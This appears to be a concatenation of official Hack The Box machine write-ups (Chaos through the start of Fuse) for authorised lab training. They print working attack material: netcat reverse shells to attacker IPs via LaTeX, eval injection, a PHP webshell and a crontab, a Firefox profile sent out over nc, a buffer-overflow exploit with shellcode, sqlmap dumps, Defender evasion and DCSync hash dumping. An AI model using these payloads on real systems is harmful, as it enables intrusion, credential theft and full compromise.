gobuster -u http://chaos.htb/ -w directory-list-2.3-medium.txt -t 100 -x
php

It discovers a /wp folder on ​http://10.10.10.120​ browsing to which shows a wordpress website.

Page 5 / 19
It hosts some kind of password protect page. Lets enumerate it with wpscan before going further.

WORDPRESS

wpscan --url http://10.10.10.120/wp/wordpress/ -e

This will enumerate all the plugins as well as users on the website. The scan did find some
vulnerabilities but they need authentication. However, on enumerating users the scanner found a
username human.

On trying the username as the password for the protected page access is granted.

We obtain webmail credentials i.e ​ayush:jiujitsu​ .

Page 6 / 19
IMAP SERVER
As SSL is enabled we’ll need to connect with openssl.

openssl s_client -connect 10.10.10.120:995

Command reference for IMAP can be found here ​https://wiki.dovecot.org/TestInstallation​ .

a LOGIN ayush jiujitsu # Login


b select inbox # List inbox - has no mails
c list ​""​ * # List other inboxes
d select Drafts # Select draft inbox, find one mail
e FETCH 1 BODY[TEXT] # See contents of the first mail

The default Inbox folder didn’t have any received mails. Although there were Drafts and Sent
folders. Selecting the drafts folder listed an existing mail.

Page 7 / 19
Fetching the mail revealed a message and two attachments encoded in base64.

DECRYPTING THE MESSAGE


The draft had enim_msg.txt which contained the encrypted message and en.py which was used
to encrypt the message. Decoding the base64 blobs gave an encrypted file and a python script.

def​ ​encrypt​(key, filename):


chunksize = ​64​*​1024
outputFile = ​"en"​ + filename
filesize = str(os.path.getsize(filename)).zfill(​16​)
IV = Random.new().read(​16​)

encryptor = AES.new(key, AES.MODE_CBC, IV)

with​ open(filename, ​'rb'​) ​as​ infile:


with​ open(outputFile, ​'wb'​) ​as​ outfile:
outfile.write(filesize.encode(​'utf-8'​))
outfile.write(IV)

​ rue​:
while​ T
chunk = infile.read(chunksize)

if​ len(chunk) == ​0​:


break
elif​ len(chunk) % ​16​ != ​0​:

Page 8 / 19
chunk += ​b' '​ * (​16​ - (len(chunk) % ​16​))

outfile.write(encryptor.encrypt(chunk))

def​ ​getKey​(password):
hasher = SHA256.new(password.encode(​'utf-8'​))
return​ hasher.digest()

The getKey() function from the script returns the password hashed in SHA256. From the mail we
know that the password is “sahay”. The encrypt() functions takes in the key and the message file
to encrypt. The chunksize is set to 64*1024 bits which is equal to 16 bytes, the standard block
size of AES. Next it finds the size of the file and then uses zfill(16) in order to make it a block. The
function zfill() fills a value from the left with zeros until it’s equal to the passed argument. It then
initializes a random IV of 16 bytes. IV stands for Initialization vector which is used to add
randomness to the encrypted message. Then an AES object is created in CBC mode using the
key and IV.

chunksize = ​64​*​1024
outputFile = ​"en"​ + filename
filesize = str(os.path.getsize(filename)).zfill(​16​)
IV = Random.new().read(​16​)

Once done it opens up the message and the output file. It proceeds to write the filesize and IV to
the encrypted file which is good for us because without the IV it would be impossible to decrypt
the message.

outfile.write(filesize.encode(​'utf-8'​))
outfile.write(IV)

Then it enters into a loop and starts reading the file contents chunk by chunk. It stops if the chunk
size is 0. If the chunk size is less than 16, it is padded with spaces so create a block. Each chunk
is then encrypted and written to the file.

while​ ​True​:
chunk = infile.read(chunksize)

Page 9 / 19
if​ len(chunk) == ​0​:
break
elif​ len(chunk) % ​16​ != ​0​:
chunk += ​b' '​ * (​16​ - (len(chunk) % ​16​))

outfile.write(encryptor.encrypt(chunk))

To decrypt the contents a similar script is needed which reads the IV from the file and then uses it
to decrypt the chunks. First import the required packages. Define a function decrypt which takes
in the key and encrypted filename. We use the same chunksize as earlier. Open the file and read
16 bytes of filesize which isn’t significant and then the IV from the next 16 bytes.

from​ Crypto.Cipher ​import​ AES


from​ Crypto.Hash ​import​ SHA256

def​ ​decrypt​(key, filename):


chunksize = ​64​*​1024
output = ​"dec_msg.txt"
f = open(filename)
filesize = f.read(​16​) ​# Read first 16 bytes written to the file
IV = f.read(​16​) ​# Read the next 16 bytes which is the IV

decryptor = AES.new(key, AES.MODE_CBC, IV)

with​ open(output, ​'wb'​) ​as​ outfile:

​ rue​:
while​ T
chunk = f.read(chunksize)
if​ len(chunk) == ​0​:
break

outfile.write(decryptor.decrypt(chunk))

def​ ​getKey​(password):
hasher = SHA256.new(password.encode(​'utf-8'​))
return​ hasher.digest()

decrypt(getKey(​"sahay"​), ​"enim_msg.txt"​)

Page 10 / 19
Next create the AES object and open the output file. Start reading chunks and break if the size is
equal to 0. Then decrypt the chunks and write to the outfile. We use the same getKey() function
as the script and then call the decrypt() method with the key and encrypted file.

The resulting file consists of base64 encoded content which on decoding gives the message.

python dec.py
cat dec_msg.txt | base64 -d

The invalid input error is due to the padding added by the script. From the message we retrieve a
directory on the web server.

Page 11 / 19
FOOTHOLD

EXPLOITING LATEX

The page was a pdf maker which says that it’s on hold. The functionality wasn’t really working.

From the javascript it’s noticed that it uses Ajax requests.

Page 12 / 19
Using Burp we can intercept the requests and examine them.

The server returned some logs which were from PdfTex which is used to create PDF files from
.tex source and from the LaTex family. Some packages from these are vulnerable to code
execution. It is well described here ​https://0day.work/hacking-with-latex/​ .

To execute a command the syntax is ​\input|​command​ . However on using it we notice that it’s
blacklisted.

Page 13 / 19
But according to the page we can bypass it using ​\immediate\write18{​command​}​ which works
as intended.

Now, a netcat reverse shell can be used to get a shell on the box.

\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc


10.10.16.25 4444 >/tmp/f}

Page 14 / 19
LATERAL MOVEMENT

BREAKING OUT OF RESTRICTED SHELL

After getting a shell as www-data get a tty using python. Due to password re-use we can su to
ayush with the password “jiujitsu”.

python -c ​"import pty;pty.spawn('/bin/bash')"


su - ayush # password : jiujitsu

However, due to restricted shell we can’t move to different folders from within the shell.

On checking the PATH variable it appears to be “/home/ayush/.app” . So, if we can list it’s
contents we could leverage a binary allowed to be used.

We find ‘ls’ to be restricted however another directory listing command ‘dir’ works.

Page 15 / 19
We have tar and ping available out of which tar is a GTFObin.

USING TAR TO BREAK OUT


According to ​https://gtfobins.github.io/gtfobins/tar/​ we can abuse tar checkpoints to execute
arbitrary commands.

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=​exec​=/bin/sh

Issuing this command executes /bin/sh breaking us out of the shell. However, the PATH should
be fixed as it wasn’t set to its original value.

Get a tty using python or python3.

Page 16 / 19
PRIVILEGE ESCALATION

INSPECTING MOZILLA FIREFOX PROFILE

The user’s folder consists of a .mozilla folder which has a firefox profile in it.

This can be used to gain saved credentials if any, using tools like ​firefox_decrypt​ or ​firepwd​ .

First transfer the folder to local box for extraction.

cd​ /tmp
zip -r mozilla.zip ~/.mozilla
nc 10.10.16.67 1234 < mozilla.zip

Page 17 / 19
Now extract the contents and use firefox_decrypt on the profile. We can re-use the password
“jiujitsu” yet again to decrypt the contents.

unzip mozilla.zip
git ​clone​ https://github.com/unode/firefox_decrypt
cd​ firefox_decrypt
./firefox_decrypt.py ../home/ayush/.mozilla/firefox/ ​# password :
jiujitsu

We obtain the password for the user root as ​Thiv8wrej~​ using which we can su to root.

ALTERNATE WAY TO ROOT


In case if the password didn’t let us su to root directly, we can gain a root shell from the webmin
console at port 10000 as the credentials suggested.

Browse to ​https://chaos.htb:10000​ and use ​root:Thiv8wrej~​ to login.

Page 18 / 19
Once logged in, click on “Others” on the dashboard menu and then select command shell.

And a command shell pops up which can be used to issue commands as root.

Page 19 / 19
Craft
23​rd​ August 2019 / Document No D19.100.47
Prepared By: MinatoTW
Machine Author: Rotarydrone
Difficulty: ​Medium
Classification: Official

Page 1 / 17
SYNOPSIS
Craft is a medium difficulty Linux box, hosting a Gogs server with a public repository. One of the
issues in the repository talks about a broken feature, which calls the eval function on user input.
This is exploited to gain a shell on a container, which can query the database containing a user
credential. After logging in, the user is found to be using vault to manage the SSH server, and the
secret for which is in their Gogs account. This secret is used to create an OTP which can be used
to SSH in as root.

Skills Required Skills Learned

● Linux Enumeration ● Python eval injection


● Python code review ● pymysql API
● Git ● Vault SSH

Page 2 / 17
ENUMERATION
NMAP

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.110 | grep ^[0-9] | cut -d '/' -f 1


| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.110

After a full port scan, we find SSH running on port 22 and 6022. An Nginx server is running on
port 443.

HTTPS

After browsing to port 443 and accepting the certificate, we see the homepage for Craft.

Page 3 / 17
The two icons on the top right point to two vhosts, “api.craft.htb” and “gogs.craft.htb”. Adding
both of them to the hosts file and browsing to gogs.craft.htb, we come across a self-hosted Gogs
server.

Clicking on explore takes us to the publicly available repositories, where we find Craft/craft-api.

Gogs Enumeration

Page 4 / 17
There’s one open issue by the user Dinesh at ​https://gogs.craft.htb/Craft/craft-api/issues/2​, which
exposes the API token and the request to the brew endpoint.

curl -H 'X-Craft-API-Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-w
W1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k
-X POST https://api.craft.htb/api/brew/ --data
'{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

Saving this API token for later, we proceed to look at the latest commit by the user Dinesh that is
referenced in the issue.

Looking at the commit, it’s seen that a call to eval was added which checks if the requested “abv”
value is greater than 1. As there’s no sanitization in place, we can inject python code in the

Page 5 / 17
request, which will get executed by the eval call. The eval function can evaluate and execute any
python code given to it. For example:

The addition was evaluated by substituting the value for var and then adding. Similarly, we can
execute OS command by using the inline import function in python.

The __import__() function can import a module and then call it’s functions inline. We can use this
to execute a reverse shell, and gain a foothold on the box.

Looking at the commits in the repo, we find another commit by Dinesh, which added a test script.

Page 6 / 17
The script checks if the change made to the brew endpoint works as intended. Download the
script and execute to check if the changes made to the code are still valid.

After downloading the script, add the following lines at the top to disable invalid certificate
warnings.

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

Ensure that the api.craft.htb VHOST is added to the hosts file and then run the script.

We received the response which is exactly like the one configured in the issue. So, possibly the
code wasn’t patched and could be exploited through eval injection.

Edit the script and add the nc reverse shell command to the abv value, the second request can
be removed.

Page 7 / 17
#!/usr/bin/env python

import​ requests
import​ json
import​ urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

response = requests.get(​'https://api.craft.htb/api/auth/login'​, auth=(​'dinesh'​,


'4aUh0A8PbVJxgd'​), verify=​False​)

json_response = json.loads(response.text)
token = json_response[​'token'​]

headers = { ​'X-Craft-API-Token'​: token, ​'Content-Type'​: ​'application/json'​ }

# make sure token is valid


response = requests.get(​'https://api.craft.htb/api/auth/check'​, headers=headers,
verify=​False​)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print(​"Create bogus ABV brew"​)


brew_dict = {}
brew_dict[​'abv'​] = ​"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f')"

brew_dict[​'name'​] = ​'bullshit'
brew_dict[​'brewer'​] = ​'bullshit'
brew_dict[​'style'​] = ​'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post(​'https://api.craft.htb/api/brew/'​, headers=headers,
data=json_data, verify=​False​)

print(response.text)

Page 8 / 17
FOOTHOLD

Executing the script should give a reverse shell as root.

Looking around we see the “.dockerenv” file in the ‘/ ‘folder which confirms that we’re on a
container. Looking in the /opt/app folder, we find a script named dbtest.py, which executes SQL
statements on the MySQL host (not accessible externally).

import​ pymysql
from​ craft_api ​import​ settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try​:
with​ connection.cursor() ​as​ cursor:
sql = ​"SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)

Page 9 / 17
finally​:
connection.close()

Executing the script on the container we get a reply which confirms that the database host is up.
The settings are imported from the craft_api folder, looking at it we find db credentials as well as
the db name.

Let’s create a new script to view all the tables in the database. It needs to be in the same folder
to import the settings. Create the following script locally.

#!/usr/bin/env python

import​ pymysql
from​ craft_api ​import​ settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try​:

Page 10 / 17
with​ connection.cursor() ​as​ cursor:
sql = ​"show tables"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally​:
connection.close()

We switched the query to list all the tables in the database, and used the fetchall() method to list
all rows. This can be found in the pymysql docs ​here​. Start an HTTP server and download the
script to the box.

Executing the script, we receive the list of tables in the DB.

Next, edit the script to get all the data in the user table. Switch the SQL query to the one below
and redownload the script to the box.

sql = ​"Select * from `user`"

Page 11 / 17
Executing the script gives us the credentials for the users Dinesh, Ebachman and Gilfoyle.

Page 12 / 17
LATERAL MOVEMENT
Trying to SSH in with the passwords fail, but we can login as Gilfoyle to the Gogs server. Browse
to ​https://gogs.craft.htb/user/login​, using the credentials Gilfoyle / ZEU3N8WNM2rh4T to login.

Looking at his private repositories we find a “craft-infra” repository. The repository contains a .ssh
folder with the private key for the user.

Page 13 / 17
Copy the key locally, and use SSH to login. The server asks for the password to the encrypted
key, and we can input Gilfoyle’s password gained from the database.

Page 14 / 17
PRIVILEGE ESCALATION
Looking at the user’s home folder we see a file named “.vault-token”.

A quick google search about it brings us to ​this page. Going back to Gilfoyle’s profile on Gogs,
we see a vault folder containing a secret.sh file. The user has configured “​Vault​” in order to
manage SSH logins.

Looking at the SSH secrets documentation for Vault ​here​, we see that first a role has to be
created for a particular user.

Page 15 / 17
Looking back at the secrets.sh file, we see that the default user is root and roles is set to
“root_otp”. This can now be used to create an OTP for the root user in order to login. The format
can be found in the “Automate it!” section in the page.

Page 16 / 17
Following the same format, the command to generate the root OTP will be:

vault ssh -role root_otp -mode otp [email protected]

The command provides the OTP, and then performs an SSH login. The SSH password is the OTP
given by vault.

Page 17 / 17
Curling
08​th​ May 2019 / Document No D19.100.19
Prepared By: MinatoTW
Machine Author: l4mpje
Difficulty: ​Easy
Classification: Official

Page 1 / 10
SYNOPSIS
Curling is an Easy difficulty Linux box which requires a fair amount of enumeration. The password
is saved in a file on the web root. The username can be download through a post on the CMS
which allows a login. Modifying the php template gives a shell. Finding a hex dump and reversing
it gives a user shell. On enumerating running processes a cron is discovered which can be
exploited for root.

Skills Required Skills Learned

● Enumeration ● Analyzing hex dump


● Curl usage

Page 2 / 10
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=​1000​ -T4 ​10.10.10.150​ | grep ^[​0-9​] | cut -d
'/'​ -f ​1​ | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -sC -sV -p$ports ​10.10.10.150​ --open

Apache is running on port 80 and SSH on port 22.

APACHE

Navigating to port 80 we come across a Joomla website.

Page 3 / 10
The page contains two usernames “Super user” and Floris.

Checking the HTML source of the page reveals a comment saying secret.txt .

Checking ​http://10.10.10.150/secret.txt​ we find a string which is base64 encoded. Decoding it


gives the string “Curling2018!”.

curl -s http://10.10.10.150/secret.txt | base64 -d

Going to the admin page at http://10.10.10.150/administrator/ and trying to login with the
username Floris and password Curling2018! logs us in.

Page 4 / 10
FOOTHOLD

Logging in gives us access to the control panel.

On the right side under Configuration click on Templates > Templates > Protostar.

Now click on a php file like index.php and add command execution.

system($_REQUEST[​'pwn'​]);

Page 5 / 10
Click on save and navigate to /index.php to issue commands.

Now that we have RCE we can get a reverse shell.

curl http://10.10.10.150/index.php -G --data-urlencode ​'pwn=rm


/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f
'

Get a TTY shell by running,


python3 -c ​"import pty;pty.spawn('/bin/bash')"

Page 6 / 10
LATERAL MOVEMENT

HEX DUMP

Navigating /home/floris we find a file named password_backup.

The file looks like a hex dump done using xxd which can be reversed.

cd​ /tmp
cp /home/floris/password_backup .
cat password_backup | xxd -r > bak
file bak

Page 7 / 10
The resulting file is bzip2 compressed.
The file appears to be repeatedly archived. The steps to decompress it are,

bzip2 -d bak
file bak.out
mv bak.out bak.gz
gzip -d bak.gz
file bak
bzip2 -d bak
file bak.out
tar xf bak.out
cat password.txt

The file found was password.txt which is the password for floris. We can now SSH in as floris with
the discovered password.

Page 8 / 10
PRIVILEGE ESCALATION

ENUMERATION

We enumerate the running crons using ​pspy​. Download the smaller binary and transfer it the box.

wget
https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s

scp pspy64s [email protected]:/tmp


cd​ /tmp
chmod +x pspy64s
./pspy64s

After letting it run for a minute we’ll find a cron running,

According to curl ​manpage​, the -K option is used to specify a config file. The cron uses input as
the config and outputs to report.

The input file is owned by our group, so we can write our own config. From the manpage we
know that the “output” parameter can be used to specify the output file. We can create a
malicious crontab and overwrite it on the box.`

Page 9 / 10
MANIPULATING THE CONFIG

First create a malicious crontab locally and start a simple http server.

cp /etc/crontab .
echo​ ​'* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc 10.10.14.2 1234 >/tmp/f '​ >> crontab
python3 -m http.server 80

Now edit the input config with the contents.

url = ​"http://10.10.14.2/crontab"
output = ​"/etc/crontab"

A shell should be received within a minute.

Page 10 / 10
DevOops
​ ​ October 2018 / Document No D18.100.21
13​th​
Prepared By: Alexander Reid (Arrexel)
Machine Author: lokori
Difficulty: ​Medium
Classification: Official

Page 1 / 7
SYNOPSIS
DevOops is a relatively quick machine to complete which focuses on XML external entities and
Python pickle vulnerabilities to gain a foothold.

Skills Required Skills Learned

● Basic/intermediate knowledge of Linux ● Exploiting XML external entities


● Basic/intermediate knowledge of ● Exploiting Python pickle
Python ● Enumerating git revision history

Page 2 / 7
Enumeration

Services

Masscan finds ports 22 and 5000 open. Nmap identifies these services as OpenSSH and
Gunicorn.

Page 3 / 7
Dirbuster

Dirbuster finds ​/feed​​ and ​/upload​​. The upload page allows uploading of XML files.

Page 4 / 7
Exploitation

XML External Entities

By uploading an XML file which references external entities, it is possible to read arbitrary files on
the target system.

Using the XXE vulnerability to read ​feed.py​​ reveals a ​/newpost​​ route in the Python web
application which accepts POST data.

Page 5 / 7
Python Pickle

With access to ​feed.py​​, it is fairly straightforward to exploit the ​newpost​​ route. Simply passing a
base64-encoded pickle exploit will achieve a shell.

Page 6 / 7
Privilege Escalation

Git History

There is a git repository located at ​/home/roosa/work/blogfeed​​. Examining the commit history


with ​git log ​shows a commit referencing an incorrect key file.

Checking the commit with ​git diff d387abf63e05c9628a59195cec9311751bdb283f​​ reveals the


root SSH key.

Page 7 / 7
Enterprise
28​th​ October 2017 / Document No D17.100.32
Prepared By: Alexander Reid (Arrexel)
Machine Author: TheHermit
Difficulty: ​Hard
Classification: Official

Page 1 / 8
SYNOPSIS
Enterprise is one of the more challenging machines on Hack The Box. It requires a wide range of
knowledge and skills to successfully exploit. It features a custom wordpress plugin and a buffer
overflow vulnerability that can be exploited both locally and remotely.

Skills Required Skills Learned

● Advanced knowledge of Linux ● Identifying Docker instances


● Enumerating Wordpress installations ● Exploiting Wordpress plugins
● Understanding of memory handling ● Exploiting buffer overflows
and buffer overflows

Page 2 / 8
Enumeration

Nmap

Nmap reveals an SSH server, several different versions of Apache and an unknown service on
port 32812. There is a Wordpress install on port 80 and a Joomla install on port 8080.

Page 3 / 8
Dirbuster

Fuzzing the Apache server on port 443 reveals a ​/files​ directory, which contains a Wordpress
plugin. It also reveals the domain ​enterprise.htb​ (which should be added to the hosts file) as well
as a potential SQL injection vector in ​lcars_db.php​.

Page 4 / 8
Exploitation

SQLMap

Once the ​lcars​ plugin is located, SQLMap can be run against it to dump the database and get
some useful information from an unpublished post with the command ​sqlmap -u
http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --threads 10 -D
wordpress -T wp_posts -C post_content --dump

The post contains valid login credentials, and the combination ​william.riker:u*Z14ru0p#ttj83zS6
grants access to the Wordpress administrator panel, however any attempts to gain a shell will
reveal that Wordpress is run in a Docker container. Dumping the Joomla user list and attempting
to reuse some of the passwords found on Wordpress will grant access to the Joomla
administrator panel. The command to dump the users table is ​sqlmap -u
http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --threads 10 -D joomladb
-T edz2g_users -C username --dump

The combination ​geordi.la.forge:ZD3YxfnSjezg67JZ​ grants administrator access to Joomla.

Page 5 / 8
Docker

While both Wordpress and Joomla are run in a Docker container, the Apache server on port 443
is not. Looking at Joomla, it appears that the ​/files​ directory is shared between 443 and 8080,
and can be uploaded to through the Joomla administrator panel. By accessing ​Components >
EXTPLORER​, it is possible to upload a PHP shell and execute it on port 443, which grants a shell
as ​www-data​ outside of the Docker container. The user flag can be obtained from
/home/jeanlucpicard/user.txt

Page 6 / 8
Privilege Escalation

LinEnum: ​https://github.com/rebootuser/LinEnum

Running LinEnum reveals a lot of information about the system. An SUID binary exists at
/bin/lcars​. Attempting to run the file requires an access code, which can be obtained by running
ltrace /bin/lcars​.

Playing around with the options reveals that ​4 (Security)​ has a buffer overflow, which can be
exploited to gain root access. The payload is fairly simple to generate, however the environment
variables can cause a bit of confusion as it changes the addresses. To avoid that, run gdb with
env - gdb /bin/lcars​ and pass the payload with ​cat payload.txt | env - /bin/lcars​. Also run ​unset
env LINES ​and ​unset env COLUMNS​ in both terminal and gdb.

Note the bad chars are ​\x00\x0a\x0d\x0b\x09\x0c\x20

The target does not have Python 2.7 installed, so it is easier to generate the payload locally and
just pipe the output to the binary. Refer to ​enterprise_bof.py (Appendix A)​ for a working
example.

1. python enterprise_bof.py > payload.txt


2. Upload to target
3. cat payload.txt | env - /bin/lcars

The example runs ​cp /bin/bash /tmp/writeup​ and ​chmod 4777 /tmp/writeup​, which allows for
root access by running the command ​/tmp/writeup -p​.

Page 7 / 8
Appendix A

import struct

# The below shellcode will copy /bin/bash to /tmp/writeup and chmod 4777 it
# Executing it with /tmp/writeup -p will grant a root shell
shellcode = ""
shellcode += "\xd9\xee\xbd\x8f\x1f\x9f\xe9\xd9\x74\x24\xf4\x5f\x29"
shellcode += "\xc9\xb1\x16\x83\xef\xfc\x31\x6f\x15\x03\x6f\x15\x6d"
shellcode += "\xea\xf5\xe2\x29\x8c\x58\x93\xa1\x83\x3f\xd2\xd6\xb4"
shellcode += "\x90\x97\x70\x45\x87\x78\xe2\x2c\x39\x0e\x01\xfc\x2d"
shellcode += "\x23\xc5\x01\xae\x27\xb5\x21\x81\xc5\x5c\x4c\xf2\x6b"
shellcode += "\xff\xe3\x64\x4c\xd0\x77\x18\xfc\x01\x0f\x90\x95\x29"
shellcode += "\x8a\x21\x16\xea\x74\xa9\xbe\x61\x1a\x49\x1f\x4d\xd3"
shellcode += "\xa6\x68\x8d\x34\xbd\xfb\xbd\x65\x4a\x76\x54\x0e\xd1"
shellcode += "\x03\xd6\xee\x4e\xbf\x9f\x0e\xbd\xbf"

addr = struct.pack('<L', 0xffffdd60)


padding = 212
nops = "\x90" * 70

payload = "picarda1\n4\n"
payload += nops
payload += shellcode
payload += "A" * (padding - len(nops) - len(shellcode))
payload += addr
payload += "\n"

print payload
enterprise_bof.py

Page 8 / 8
FluxCapacitor
11​th​ May 2018 / Document No D18.100.04
Prepared By: Alexander Reid (Arrexel)
Machine Author:​ ​del_EzjAx34h
Difficulty: ​Medium
Classification: Official

Page 1 / 8
SYNOPSIS
FluxCapacitor focuses on intermediate/advanced enumeration of web applications as well as
bypassing web application firewall rules. Overall, FluxCapacitor is not overly challenging and
provides a good learning experience for fuzzing HTTP parameters.

Skills Required Skills Learned

● Intermediate knowledge of Linux ● Enumerating HTTP parameters


● Knowledge of basic web fuzzing ● Bypassing basic WAF rules
techniques ● Exploiting NOPASSWD

Page 2 / 8
Enumeration

Nmap

Nmap reveals only a single open port, which appears to be some type of web application firewall
according to the version details.

Page 3 / 8
Dirbuster

Dirbuster reveals several results, all starting with ​/sync​. Some manual testing shows that ​/sync
followed by any other text will always yield the same result. Attempting to view the site in Firefox
presents a 403 forbidden error, which reveals that the server is running OpenResty 1.13.6.1.

Page 4 / 8
Exploitation

Attempting to curl the ​/sync​ endpoint will result in a timestamp being returned. A bit of testing
reveals that any user-agent containing “Mozilla” will return a 403 error.

Wordlist:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-
names.txt

Using the above wordlist, it is possible to fuzz and find a parameter name for the ​/sync​ endpoint.
With wfuzz, the syntax is ​wfuzz -c -z file,burp-parameter-names.txt --hh=19
http://10.10.10.69/sync?FUZZ=writeup

The parameter ​opt​ is the only result with a 403 error.

Page 5 / 8
Very basic tests quickly reveal that the ​opt​ parameter is vulnerable to command injection.

There is a fairly simple filter which seems to return a 403 for strings longer than 2 characters. To
bypass this, the escape character ​\​ can be used to break up strings. For example, ​w\h\o\a\m\i​ will
bypass the filter and execute successfully.

The pattern /-/ (with anything in between) also appears to be caught by the filter. By serving a
bash script as ​index.html​, the use of a slash in wget/curl can be avoided and the command
execution can be leveraged to obtain a reverse shell.

Page 6 / 8
The bash script can be easily executed, and a reverse connection is opened.

Page 7 / 8
Privilege Escalation

Escalating privileges if fairly straightforward. Simply running ​sudo -l​ exposes a NOPASSWD script
at ​/home/themiddle/.monit​.

Reviewing the script, it appears that the first argument must be ​cmd​, followed by a second
argument which is a Base64-encoded command that will be executed. For example, running the
command ​sudo /home/themiddle/.monit cmd d2hvYW1p​ will execute ​whoami​ and output ​root​.

Page 8 / 8
Forest
17th March 2020 / Document No D20.100.61

Prepared By: MinatoTW

Machine Author(s): egre55 & mrb3n

Difficulty: Easy

Classification: Official
Synopsis
Forest in an easy difficulty Windows Domain Controller (DC), for a domain in which Exchange
Server has been installed. The DC is found to allow anonymous LDAP binds, which is used to
enumerate domain objects. The password for a service account with Kerberos pre-authentication
disabled can be cracked to gain a foothold. The service account is found to be a member of the
Account Operators group, which can be used to add users to privileged Exchange groups. The
Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the
NTLM hashes.

Skills Required
Enumeration

Skills Learned
ASREPRoasting
Enumeration with Bloodhound
DCSync Attack
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.161 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.161

The machine appears to be a Domain Controller for the HTB.LOCAL domain.

LDAP
It's worth checking if the LDAP service allows anonymous binds using the ldapsearch tool.
The -x flag is used to specify anonymous authentication, while the -b flag denotes the basedn to
start from. We were able to query the domain without credentials, which means null bind is
enabled.

The windapsearch tool can be used to query the domain further.

The -U flag is used to enumerate all users, i.e. objects with objectCategory set to user . We
find some username and mailbox accounts, which means that exchange is installed in the
domain. Let's enumerate all other objects in the domain using the objectClass=* filter.

The query found 313 unique objects, among which is a service account named svc-alfresco .
Searching for alfresco online brings us to this setup documentation. According to this, the
service needs Kerberos pre-authentication to be disabled. This means that we can request the
encrypted TGT for this user. As the TGT contains material that is encrypted with the user's NTLM
hash, we can subject this to an offline brute force attack, and attempt to get the password for
svc-alfresco .
Foothold
The GetNPUsers.py script from Impacket can be used to request a TGT ticket and dump the
hash.

Let's copy the hash to a file, and attempt to crack it using JtR.

The password for this account is revealed to be s3rvice . As port 5985 is also open, we can check
if this user is allowed to login remotely over WinRM using Evil-WinRM.

The is successful and we have gained command execution on the server.


Privilege Escalation
Let's use bloodhound to visualise the domain and look for privilege escalation paths. The python
based ingestor can be installed with pip install bloodhound .

There should be JSON files outputted in the folder, which can be uploaded to the bloodhound
GUI. Search for the svc-alfresco user and mark it as owned. Double clicking on the node should
display it's properties on the right. It's found that svc-alfresco is a member of nine groups
through nested membership. Click on 9 to reveal the membership graph.

One of the nested groups is found to be Account Operators , which is a privileged AD group.
According to the documentation, members of the Account Operators group are allowed create
and modify users and add them to non-protected groups. Let's note this and look at the paths to
Domain Admins. Click on Queries and select Shortest Path to High Value targets .
One of the paths shows that the Exchange Windows Permissions group has WriteDacl
privileges on the Domain. The WriteDACL privilege gives a user the ability to add ACLs to an
object. This means that we can add a user to this group and give them DCSync privileges.

Go back to the WinRM shell and add a new user to Exchange Windows Permissions as well as
the Remote Management Users group.

The commands above create a new user named john and add him to the required groups. Next,
download the PowerView script and import it into the current session.

The Bypass-4MSI command is used to evade defender before importing the script. Next, we can
use the Add-ObjectACL with john's credentials, and give him DCSync rights.
The secretsdump script from Impacket can now be run as john, and used to reveal the NTLM
hashes for all domain users.

The obtained Domain Admin hash can be used to login via psexec.
Fuse
26st October 2020 / Document No D20.100.71

Prepared By: Cube0x0

Machine Author(s): egre55

Difficulty: Medium

Classification: Official
Synopsis
Fuse is a medium difficulty Windows box made that starts with enumeration of a print job logging
application From this we can harvest usernames and possible passwords for use in a password
spray attack. This successfully identifies that three domain accounts have the same password set,
although their passwords are expired. We can use the Windows API to set a new password. With
valid credentials we can enumerate shared printers, which yields credentials for the printer
